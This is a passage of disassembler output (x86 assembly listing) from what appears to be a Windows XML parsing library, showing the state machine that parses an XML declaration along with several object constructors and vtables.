		mov	word ptr [esi+4], 7
		jmp	loc_69B2173A
; ---------------------------------------------------------------------------


loc_69B2140C:				; CODE XREF: sub_69B2132A+C0j
					; sub_69B2132A+CBj
		push	3
		pop	eax
		mov	[esi+44h], eax
		mov	[esi+4], ax
		jmp	loc_69B2173A
; ---------------------------------------------------------------------------


loc_69B2141B:				; CODE XREF: sub_69B2132A+17j
					; DATA XREF: .text:off_69B21748o
		lea	edi, [esi+52h]	; jumptable 69B21341 case 3
		cmp	word ptr [edi],	3Fh
		jnz	short loc_69B21466
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B2143C
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B21443
; ---------------------------------------------------------------------------


loc_69B2143C:				; CODE XREF: sub_69B2132A+101j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B21443:				; CODE XREF: sub_69B2132A+110j
		test	eax, eax
		jnz	loc_69B21743
		cmp	word ptr [edi],	3Eh
		jnz	short loc_69B2145C
		mov	word ptr [esi+4], 6
		jmp	loc_69B2173A
; ---------------------------------------------------------------------------


loc_69B2145C:				; CODE XREF: sub_69B2132A+125j
		mov	eax, 0C00CE50Ah
		jmp	loc_69B21743
; ---------------------------------------------------------------------------


loc_69B21466:				; CODE XREF: sub_69B2132A+F8j
		push	4
		push	offset sub_69B3254F
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B21743
		mov	ecx, esi
		call	sub_69B3254F
		test	eax, eax
		jl	loc_69B21743
		mov	word ptr [esi+4], 4


loc_69B21491:				; CODE XREF: sub_69B2132A+17j
					; DATA XREF: .text:off_69B21748o
		mov	ecx, [esi+34h]	; jumptable 69B21341 case 4
		push	0
		call	sub_69B318D1
		mov	word ptr [esi+4], 5


loc_69B214A1:				; CODE XREF: sub_69B2132A+17j
					; DATA XREF: .text:off_69B21748o
		lea	edi, [esi+5Ch]	; jumptable 69B21341 case 5
		cmp	byte ptr [edi],	0
		jnz	short loc_69B214E9
		lea	ebx, [esi+52h]


loc_69B214AC:				; CODE XREF: sub_69B2132A+1BDj
		xor	eax, eax
		mov	ax, [ebx]
		cmp	ax, 3Fh
		jz	short loc_69B21501
		push	eax
		call	sub_69B319A7
		test	eax, eax
		jz	short loc_69B21526
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B214D6
		mov	ecx, [esi+34h]
		push	edi
		push	ebx
		call	sub_69B35FE4
		jmp	short loc_69B214DD
; ---------------------------------------------------------------------------


loc_69B214D6:				; CODE XREF: sub_69B2132A+19Ej
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B214DD:				; CODE XREF: sub_69B2132A+1AAj
		test	eax, eax
		jnz	loc_69B21743
		cmp	[edi], al
		jz	short loc_69B214AC


loc_69B214E9:				; CODE XREF: sub_69B2132A+17Dj
					; sub_69B2132A+1F5j
		mov	word ptr [esi+4], 6


loc_69B214EF:				; CODE XREF: sub_69B2132A+17j
					; DATA XREF: .text:off_69B21748o
		lea	eax, [esi+5Ch]	; jumptable 69B21341 case 6
		cmp	byte ptr [eax],	0
		jz	short loc_69B21530


loc_69B214F7:				; CODE XREF: sub_69B2132A+B5j
		mov	eax, 0C00CE55Dh
		jmp	loc_69B21743
; ---------------------------------------------------------------------------


loc_69B21501:				; CODE XREF: sub_69B2132A+18Bj
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B21516
		mov	ecx, [esi+34h]
		push	edi
		push	ebx
		call	sub_69B35FE4
		jmp	short loc_69B2151D
; ---------------------------------------------------------------------------


loc_69B21516:				; CODE XREF: sub_69B2132A+1DEj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B2151D:				; CODE XREF: sub_69B2132A+1EAj
		test	eax, eax
		jz	short loc_69B214E9
		jmp	loc_69B21743
; ---------------------------------------------------------------------------


loc_69B21526:				; CODE XREF: sub_69B2132A+195j
		mov	eax, 0C00CE51Ah
		jmp	loc_69B21743
; ---------------------------------------------------------------------------


loc_69B21530:				; CODE XREF: sub_69B2132A+1CBj
		lea	ecx, [esi+52h]
		cmp	word ptr [ecx],	3Eh
		jnz	short loc_69B21590
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B2154E
		push	eax
		push	ecx
		mov	ecx, [esi+34h]
		call	sub_69B35FE4
		jmp	short loc_69B21555
; ---------------------------------------------------------------------------


loc_69B2154E:				; CODE XREF: sub_69B2132A+216j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B21555:				; CODE XREF: sub_69B2132A+222j
		test	eax, eax
		jnz	loc_69B21743
		mov	dword ptr [esi+48h], 0FFFFFFFEh
		mov	dword ptr [esi+44h], 40h


loc_69B2156B:				; CODE XREF: sub_69B2132A+17j
					; DATA XREF: .text:off_69B21748o
		push	1		; jumptable 69B21341 case 10
		mov	ecx, esi
		mov	byte ptr [esi+8Dh], 1
		call	sub_69B3220F
		test	eax, eax
		jl	loc_69B21743
		mov	ecx, [esi+34h]
		call	sub_69B35D39
		jmp	loc_69B21743
; ---------------------------------------------------------------------------


loc_69B21590:				; CODE XREF: sub_69B2132A+20Dj
		mov	word ptr [esi+4], 5
		jmp	loc_69B2173A
; ---------------------------------------------------------------------------


loc_69B2159B:				; CODE XREF: sub_69B2132A+17j
					; DATA XREF: .text:off_69B21748o
		cmp	byte ptr [esi+0A8h], 0 ; jumptable 69B21341 case 7
		jnz	short loc_69B215B6
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B215BD
; ---------------------------------------------------------------------------


loc_69B215B6:				; CODE XREF: sub_69B2132A+278j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B215BD:				; CODE XREF: sub_69B2132A+28Aj
		test	eax, eax
		jnz	loc_69B21743
		mov	ax, [esi+52h]
		cmp	ax, 6Dh
		jz	short loc_69B215E0
		cmp	ax, 4Dh
		jz	short loc_69B215E0


loc_69B215D5:				; CODE XREF: sub_69B2132A+2F4j
					; sub_69B2132A+38Cj ...
		mov	word ptr [esi+4], 0Bh
		jmp	loc_69B2173A
; ---------------------------------------------------------------------------


loc_69B215E0:				; CODE XREF: sub_69B2132A+2A3j
					; sub_69B2132A+2A9j
		mov	word ptr [esi+4], 8


loc_69B215E6:				; CODE XREF: sub_69B2132A+17j
					; DATA XREF: .text:off_69B21748o
		cmp	byte ptr [esi+0A8h], 0 ; jumptable 69B21341 case 8
		jnz	short loc_69B21601
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B21608
; ---------------------------------------------------------------------------


loc_69B21601:				; CODE XREF: sub_69B2132A+2C3j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B21608:				; CODE XREF: sub_69B2132A+2D5j
		test	eax, eax
		jnz	loc_69B21743
		mov	ax, [esi+52h]
		cmp	ax, 6Ch
		jz	short loc_69B21620
		cmp	ax, 4Ch
		jnz	short loc_69B215D5


loc_69B21620:				; CODE XREF: sub_69B2132A+2EEj
		mov	word ptr [esi+4], 9


loc_69B21626:				; CODE XREF: sub_69B2132A+17j
					; DATA XREF: .text:off_69B21748o
		cmp	byte ptr [esi+0A8h], 0 ; jumptable 69B21341 case 9
		jnz	short loc_69B21641
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B21648
; ---------------------------------------------------------------------------


loc_69B21641:				; CODE XREF: sub_69B2132A+303j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B21648:				; CODE XREF: sub_69B2132A+315j
		test	eax, eax
		jnz	loc_69B21743
		mov	ecx, [esi+34h]
		mov	eax, [ecx+48h]
		cmp	eax, [ecx+8]
		jnz	short loc_69B216A8
		cmp	byte ptr [esi+88h], 0
		jnz	short loc_69B21690
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+lpStr2]
		push	eax
		call	sub_69B35C65
		push	0		; char
		push	3		; nChar
		push	[ebp+lpStr2]	; lpStr2
		push	offset aXml	; "xml"
		call	sub_69B31FAA
		test	al, al
		jnz	short loc_69B21690
		mov	eax, 0C00CE576h
		jmp	loc_69B21743
; ---------------------------------------------------------------------------


loc_69B21690:				; CODE XREF: sub_69B2132A+338j
					; sub_69B2132A+35Aj
		push	0C00CE55Dh
		push	offset dword_69B21780
		push	0Ah
		mov	ecx, esi
		call	sub_69B347A6
		jmp	loc_69B21743
; ---------------------------------------------------------------------------


loc_69B216A8:				; CODE XREF: sub_69B2132A+32Fj
		xor	edi, edi
		mov	di, [esi+52h]
		push	edi
		call	sub_69B31967
		test	eax, eax
		jnz	loc_69B215D5
		cmp	di, 3Ah
		jz	loc_69B215D5
		mov	eax, 0C00CE507h
		jmp	short loc_69B21743
; ---------------------------------------------------------------------------


loc_69B216CD:				; CODE XREF: sub_69B2132A+17j
					; DATA XREF: .text:off_69B21748o
		lea	eax, [esi+52h]	; jumptable 69B21341 case 11
		cmp	word ptr [eax],	3Ah
		jnz	short loc_69B216F9
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B216EE
		lea	ecx, [esi+5Ch]
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B216F5
; ---------------------------------------------------------------------------


loc_69B216EE:				; CODE XREF: sub_69B2132A+3B3j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B216F5:				; CODE XREF: sub_69B2132A+3C2j
		test	eax, eax
		jnz	short loc_69B21743


loc_69B216F9:				; CODE XREF: sub_69B2132A+3AAj
		mov	word ptr [esi+4], 0Ch


loc_69B216FF:				; CODE XREF: sub_69B2132A+17j
					; DATA XREF: .text:off_69B21748o
		xor	eax, eax	; jumptable 69B21341 case 12
		mov	ax, [esi+52h]
		push	eax
		call	sub_69B31967
		test	eax, eax
		jz	short loc_69B21734
		push	2
		push	offset sub_69B32791
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	short loc_69B21743
		mov	ecx, esi
		mov	word ptr [esi+4], 1
		call	sub_69B32791
		test	eax, eax
		jl	short loc_69B21743
		jmp	short loc_69B2173A
; ---------------------------------------------------------------------------


loc_69B21734:				; CODE XREF: sub_69B2132A+3E3j
		mov	word ptr [esi+4], 2


loc_69B2173A:				; CODE XREF: sub_69B2132A+DDj
					; sub_69B2132A+ECj ...
		xor	eax, eax
		jmp	short loc_69B21743
; ---------------------------------------------------------------------------


loc_69B2173E:				; CODE XREF: sub_69B2132A+11j
		mov	eax, 0C00CE512h	; default


loc_69B21743:				; CODE XREF: sub_69B2132A+50j
					; sub_69B2132A+60j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B2132A	endp

; ---------------------------------------------------------------------------
off_69B21748	dd offset loc_69B21348	; DATA XREF: sub_69B2132A+17r
		dd offset loc_69B213B0	; jump table for switch	statement
		dd offset loc_69B213DB
		dd offset loc_69B2141B
		dd offset loc_69B21491
		dd offset loc_69B214A1
		dd offset loc_69B214EF
		dd offset loc_69B2159B
		dd offset loc_69B215E6
		dd offset loc_69B21626
		dd offset loc_69B2156B
		dd offset loc_69B216CD
		dd offset loc_69B216FF
		align 10h
dword_69B21780	dd 6, 0				dd 1, 4, 3 dup(0)
		dd 2, 2	dup(0)
		dd 13h,	0
		dd 3, 0C00CE507h, 0
		db 5, 4	dup(0)
		align 4
		dd 4, 2	dup(0)
		dd 9
		dd offset aVersion_1	; "version"
		dd 5, 0Ch, 1Ch,	14h, 0
		dd 6, 2	dup(0)
		dd 17h,	0
		dd 20h,	2 dup(0)
		dd 6, 0
		dd 8, 0Dh, 0FFFFFFFFh, 16h
		dd offset a?_3		; "?"
		dd 1Ch,	9, 3 dup(0)
		dd 0Ah,	2 dup(0)
		dd 2
		dd offset a?_3		; "?"
		dd 1Ch,	21h, 0
		db 5, 4	dup(0)
		align 4
		dd 0Ch,	2 dup(0)
		dd 9
		dd offset aStandalone_1	; "standalone"
		dd 17h,	0Dh, 1Eh, 9
		dd offset aEncoding_0	; "encoding"
		dd 0Eh,	0C00CE56Ch, 1Dh, 14h, 0
		dd 0Fh,	2 dup(0)
		dd 17h,	0
		dd 10h,	2 dup(0)
		dd 15h,	0
		dd 11h,	0
		dd 0FFFFFFFFh, 6, 0
		dd 12h,	0Dh, 0FFFFFFFFh, 16h
		dd offset a?_3		; "?"
		dd 1Ch,	13h, 3 dup(0)
		dd 14h,	2 dup(0)
		dd 2
		dd offset a?_3		; "?"
		dd 1Ch,	22h, 0
		db 5, 4	dup(0)
		align 4
		dd 16h,	2 dup(0)
		dd 9
		dd offset aStandalone_1	; "standalone"
		dd 17h,	0C00CE56Ch, 1Eh, 14h, 0
		dd 18h,	2 dup(0)
		dd 17h,	0
		dd 19h,	2 dup(0)
		dd 9
		dd offset aYes		; "yes"
		dd 1Fh,	1Eh, 0FFFFFFFFh, 2 dup(0)
		dd 1Bh,	2 dup(0)
		dd 2
		dd offset a?_3		; "?"
		dd 1Ch,	0C00CE507h, 0
		dd 2
		dd offset asc_69B270DC	; ">"
		dd 1Dh,	0C00CE507h, 0
		dd 0Ah,	2 dup(0)
		dd 41h,	0
		dd 9
		dd offset aNo		; "no"
		dd 1Fh,	0C00CE579h, 0FFFFFFFFh,	6, 0
		dd 1Ah,	0Dh, 0FFFFFFFFh, 9
		dd offset a1_0		; "1.0"
		dd 7, 0C00CE57Fh, 0FFFFFFFFh, 13h, 0
		dd 0Bh,	0C00CE507h, 0
		dd 13h,	0
		dd 15h,	0C00CE507h, 0
aNo:					; DATA XREF: .text:69B219DCo
					; .data:69B92288o ...
		unicode	0, <no>,0
		align 4
aEncoding_0:				; DATA XREF: .text:69B21888o
		unicode	0, <encoding>,0
		align 4
aStandalone_1:				; DATA XREF: .text:69B21874o
					; .text:69B2193Co
		unicode	0, <standalone>,0
		align 10h
aVersion_1:				; DATA XREF: .text:69B217D4o
		unicode	0, <version>,0
; const	WCHAR aYes
aYes:					; DATA XREF: sub_69B1F708+169o
					; .text:69B21978o ...
		unicode	0, <yes>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B21A88	proc near		; CODE XREF: sub_69B514F6+Dj

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		push	[ebp+arg_0]
		xor	edi, edi
		mov	dword ptr [esi], offset	off_69B21BF8
		lea	eax, [esi+8]
		mov	[eax], edi
		mov	[esi+0Ch], edi
		mov	[esi+10h], edi
		mov	[esi+14h], edi
		mov	[esi+18h], edi
		mov	[esi+1Ch], edi
		lea	ebx, [esi+20h]
		mov	[ebx], edi
		push	eax
		mov	[esi+24h], edi
		mov	[esi+28h], edi
		call	sub_69B2DEB2
		push	[ebp+arg_4]
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		lea	eax, [esi+1Ch]
		push	eax
		push	offset loc_69B21C40
		push	ecx
		call	dword ptr [edx]
		push	eax
		call	sub_69B8861E
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		lea	eax, [esi+18h]
		push	eax
		push	offset loc_69B21C50
		push	ecx
		call	dword ptr [edx]
		push	eax
		call	sub_69B8861E
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		push	ebx
		push	offset dword_69B21C30
		push	eax
		call	dword ptr [ecx]
		push	eax
		call	sub_69B8861E
		push	[ebp+arg_8]
		call	sub_69B511ED
		mov	eax, [ebx]
		mov	edx, [eax]
		push	edi
		lea	ecx, [esi+24h]
		push	ecx
		push	edi
		push	[ebp+arg_8]
		push	2
		push	2
		push	eax
		call	dword ptr [edx+10h]
		push	eax
		call	sub_69B8861E
		mov	ebx, [ebx]
		mov	ecx, [ebx]
		push	edi
		lea	eax, [esi+28h]
		push	eax
		push	edi
		push	[ebp+arg_8]
		push	1
		push	2
		push	ebx
		call	dword ptr [ecx+10h]
		push	eax
		call	sub_69B8861E
		push	edi
		push	1
		push	80h
		call	sub_69B315DA
		push	eax
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		mov	eax, [esi+40h]
		and	eax, 0FFFFFD8Fh
		or	eax, 18Fh
		mov	[esi+40h], eax
		mov	eax, [esi+44h]
		and	eax, 0FFFFFFE8h
		or	eax, 3E8h
		push	0Ch
		mov	[esi+44h], eax
		call	sub_69B17EF3
		cmp	eax, edi
		jz	short loc_69B21B9B
		push	edi
		mov	ecx, eax
		call	sub_69B21C60
		jmp	short loc_69B21B9D
; ---------------------------------------------------------------------------


loc_69B21B9B:				; CODE XREF: sub_69B21A88+107j
		xor	eax, eax


loc_69B21B9D:				; CODE XREF: sub_69B21A88+111j
		push	eax
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	5E00h
		call	sub_69B1D897
		cmp	eax, edi
		mov	ebx, 1F54h
		jz	short loc_69B21BCF
		push	3
		pop	ecx
		push	offset loc_69B5140C
		push	ecx
		lea	edi, [eax+4]
		push	ebx
		push	edi
		mov	[eax], ecx
		call	sub_69B5115F


loc_69B21BCF:				; CODE XREF: sub_69B21A88+130j
		xor	eax, eax
		mov	[esi+3Ch], edi
		mov	ecx, 177Fh
		rep stosd
		mov	eax, [esi+3Ch]
		push	3
		lea	ecx, [esi+30h]
		pop	edx


loc_69B21BE4:				; CODE XREF: sub_69B21A88+164j
		mov	[ecx], eax
		add	eax, ebx
		add	ecx, 4
		dec	edx
		jnz	short loc_69B21BE4
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B21A88	endp

; ---------------------------------------------------------------------------
		align 4
off_69B21BF8	dd offset sub_69B2D67E	; DATA XREF: sub_69B21A88+12o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B51491
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B516E4
dword_69B21C30	dd 0C733A8Ch, 11CE2A1Ch, 0AA00E5ADh, 3D774400h; ---------------------------------------------------------------------------


loc_69B21C40:				; DATA XREF: sub_69B21A88+52o
		add	eax, 1C0C733Ah
		sub	cl, dh
		adc	[ebp+0AA00E5h],	ebp
		inc	esp
		ja	short loc_69B21C8D


loc_69B21C50:				; DATA XREF: sub_69B21A88+69o
		cmp	byte ptr [edx],	73h
		or	al, 1Ch
		sub	cl, dh
		adc	[ebp+0AA00E5h],	ebp
		inc	esp
		ja	short near ptr loc_69B21C9C+1

; =============== S U B	R O U T	I N E =======================================



sub_69B21C60	proc near		; CODE XREF: sub_69B21A88+10Cp
					; sub_69B51279+20p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	eax, [esp+4+arg_0]
		mov	[esi+8], eax
		mov	dword ptr [esi], offset	off_69B21C7C
		mov	eax, esi
		pop	esi
		retn	4
sub_69B21C60	endp

; ---------------------------------------------------------------------------
		align 4
off_69B21C7C	dd offset sub_69B2D67E	; DATA XREF: sub_69B21C60+Fo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		db  7Dh	; } OFF32 SEGDEF [_text,69B1B57D]
; ---------------------------------------------------------------------------


loc_69B21C8D:				; CODE XREF: .text:69B21C4Ej
		mov	ch, 0B1h
		imul	eax, 7869B197h
		xor	byte ptr [ecx-4D29CD97h], 69h


loc_69B21C9C:				; CODE XREF: .text:69B21C5Ej
		add	al, 0E8h
		mov	dl, 69h
		dec	ebp
		adc	[ebp-4D0B6297h], esi
		imul	ebx, [ecx-0Bh],	97C069B2h
		mov	cl, 69h
; ---------------------------------------------------------------------------
		dd offset nullsub_5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B71C05


loc_69B21CB4:				; CODE XREF: sub_69B71C05+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B67CC1
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	[esp+8+arg_4]
		mov	ecx, esi
		push	[esp+0Ch+arg_0]
		call	sub_69B21D48
		mov	dword ptr [esi], offset	off_69B21CE8
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B71C05
; ---------------------------------------------------------------------------
		align 8
off_69B21CE8	dd offset sub_69B2D67E	; DATA XREF: sub_69B71C05-4FF2Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B704E3
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72310
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B7254A
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B730EB
		dd offset sub_69B71B94
		dd offset sub_69B71C1C
		dd offset sub_69B703D6
		dd offset sub_69B7235C
		dd offset sub_69B6860C
		dd offset sub_69B72CC3
		dd offset sub_69B7326E
		dd offset sub_69B70336
		dd offset sub_69B70274
		dd offset nullsub_3

; =============== S U B	R O U T	I N E =======================================



sub_69B21D48	proc near		; CODE XREF: sub_69B71C05-4FF33p
					; sub_69B703F0+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	[esp+4+arg_8]
		mov	esi, ecx
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_69B21DC8
		mov	dword ptr [esi], offset	off_69B21D68
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B21D48	endp

; ---------------------------------------------------------------------------
off_69B21D68	dd offset sub_69B2D67E	; DATA XREF: sub_69B21D48+14o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B704E3
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72310
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B7254A
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B730EB
		dd offset sub_69B702BB
		dd offset sub_69B70438
		dd offset sub_69B703D6
		dd offset sub_69B7235C
		dd offset sub_69B703E2
		dd offset sub_69B72CC3
		dd offset sub_69B7326E
		dd offset sub_69B70336
		dd offset sub_69B70274
		dd offset nullsub_3

; =============== S U B	R O U T	I N E =======================================



sub_69B21DC8	proc near		; CODE XREF: sub_69B21D48+Fp
					; sub_69B732C4+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	0
		push	[esp+8+arg_4]
		mov	esi, ecx
		push	[esp+0Ch+arg_0]
		call	sub_69B724DF
		push	[esp+4+arg_8]
		lea	eax, [esi+2Ch]
		mov	dword ptr [esi], offset	off_69B21DF8
		and	dword ptr [eax], 0
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B21DC8	endp

; ---------------------------------------------------------------------------
		align 4
off_69B21DF8	dd offset sub_69B2D67E	; DATA XREF: sub_69B21DC8+19o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B704E3
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72310
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B7254A
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B730EB
		dd offset sub_69B73229
		dd offset sub_69B72DBF
		dd offset sub_69B59D1C
		dd offset sub_69B7235C
		dd offset sub_69B6860C
		dd offset sub_69B72CC3
		dd offset sub_69B7326E
		dd offset sub_69B73101
		dd offset sub_69B72E2D
		dd offset nullsub_3

; =============== S U B	R O U T	I N E =======================================



sub_69B21E58	proc near		; CODE XREF: sub_69B754F1+Dj
		push	ebx
		push	esi
		push	edi
		push	0
		mov	esi, ecx
		call	sub_69B72FBE
		mov	dword ptr [esi], offset	off_69B21EA0
		lea	ebx, [esi+14h]
		and	dword ptr [ebx], 0
		push	34h
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	dword ptr [edi+8], 3
		call	sub_69B19118
		push	edi
		push	ebx
		mov	dword ptr [edi], offset	off_69B21EE8
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_69B21E58	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B21EA0	dd offset sub_69B2D67E	; DATA XREF: sub_69B21E58+Co
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B75506
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72FB8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B72FE6
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B75455
		dd offset sub_69B75380
		dd offset nullsub_3
		dd offset sub_69B698CB
		align 8
off_69B21EE8	dd offset sub_69B2D67E	; DATA XREF: sub_69B21E58+31o
					; sub_69B75417+1Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B7559B
		dd offset sub_69B8AB3A
		dd offset sub_69B7552C

; =============== S U B	R O U T	I N E =======================================



sub_69B21F28	proc near		; CODE XREF: sub_69B778A6+10j
					; .text:69B77A3Ep
		push	esi
		mov	esi, ecx
		call	sub_69B1BCE3
		mov	dword ptr [esi], offset	off_69B22048
		mov	dword ptr [esi+0Ch], offset off_69B220C0
		mov	dword ptr [esi+24h], offset off_69B21FF8
		mov	dword ptr [esi+28h], offset off_69B21FB0
		mov	dword ptr [esi+2Ch], offset off_69B21F70
		and	dword ptr [esi+0F0h], 0
		and	dword ptr [esi+0F4h], 0
		mov	byte ptr [esi+8Ch], 1
		mov	eax, esi
		pop	esi
		retn
sub_69B21F28	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B21F70	dd offset loc_69B3F4D5	; DATA XREF: sub_69B21F28+23o
		dd offset sub_69B3F55A
		dd offset sub_69B3F8EA
		dd offset sub_69B7748C
		dd offset sub_69B3F4E7
		dd offset sub_69B3F4EF
		dd offset sub_69B3F4F7
		dd offset sub_69B3F4FF
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B7789E
		dd offset nullsub_6
		dd offset sub_69B3D28C
off_69B21FB0	dd offset loc_69B3F4A3	; DATA XREF: sub_69B21F28+1Co
		dd offset loc_69B3F548
		dd offset loc_69B3F8E3
		dd offset loc_69B77484
		dd offset loc_69B3F4B5
		dd offset loc_69B3F4BD
		dd offset loc_69B3F4C5
		dd offset loc_69B3F4CD
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B77896
		dd offset sub_69B3F552
		dd offset sub_69B3F6B0
		dd offset sub_69B3D73A
		dd offset sub_69B3F570
off_69B21FF8	dd offset sub_69B3F471	; DATA XREF: sub_69B21F28+15o
		dd offset sub_69B3F53E
		dd offset sub_69B3F8DC
		dd offset sub_69B7747C
		dd offset sub_69B3F483
		dd offset sub_69B3F48B
		dd offset sub_69B3F493
		dd offset sub_69B3F49B
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B7788E
		dd offset sub_69B3D5E1
		dd offset sub_69B3F5CF
		dd offset sub_69B3DFBE
		dd offset sub_69B3F564
		dd offset sub_69B3F51A
		align 8
off_69B22048	dd offset sub_69B1BFF8	; DATA XREF: sub_69B21F28+8o
		dd offset sub_69B1E09D
		dd offset sub_69B3F894
		dd offset sub_69B778BE
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B3D1F0
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B77494
		dd offset sub_69B772EC
		dd offset sub_69B3FBE9
		dd offset sub_69B3D746
		dd offset sub_69B3D7A3
		dd offset sub_69B77417
		dd offset sub_69B3D284
		dd offset sub_69B3F58D
		dd offset sub_69B3F507
		dd offset sub_69B3F50C
		dd offset sub_69B3F516
		dd offset sub_69B3F790
		dd offset sub_69B3E242
		dd offset sub_69B3E044
		dd offset sub_69B77375
		dd offset sub_69B773BE
		dd offset sub_69B7742F
off_69B220C0	dd offset loc_69B3D766	; DATA XREF: sub_69B1BCE3+42o
					; sub_69B21F28+Eo ...
		dd offset sub_69B88F7D

; =============== S U B	R O U T	I N E =======================================



sub_69B220C8	proc near		; CODE XREF: sub_69B2FF1E+304p
					; sub_69B2FF1E+31Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
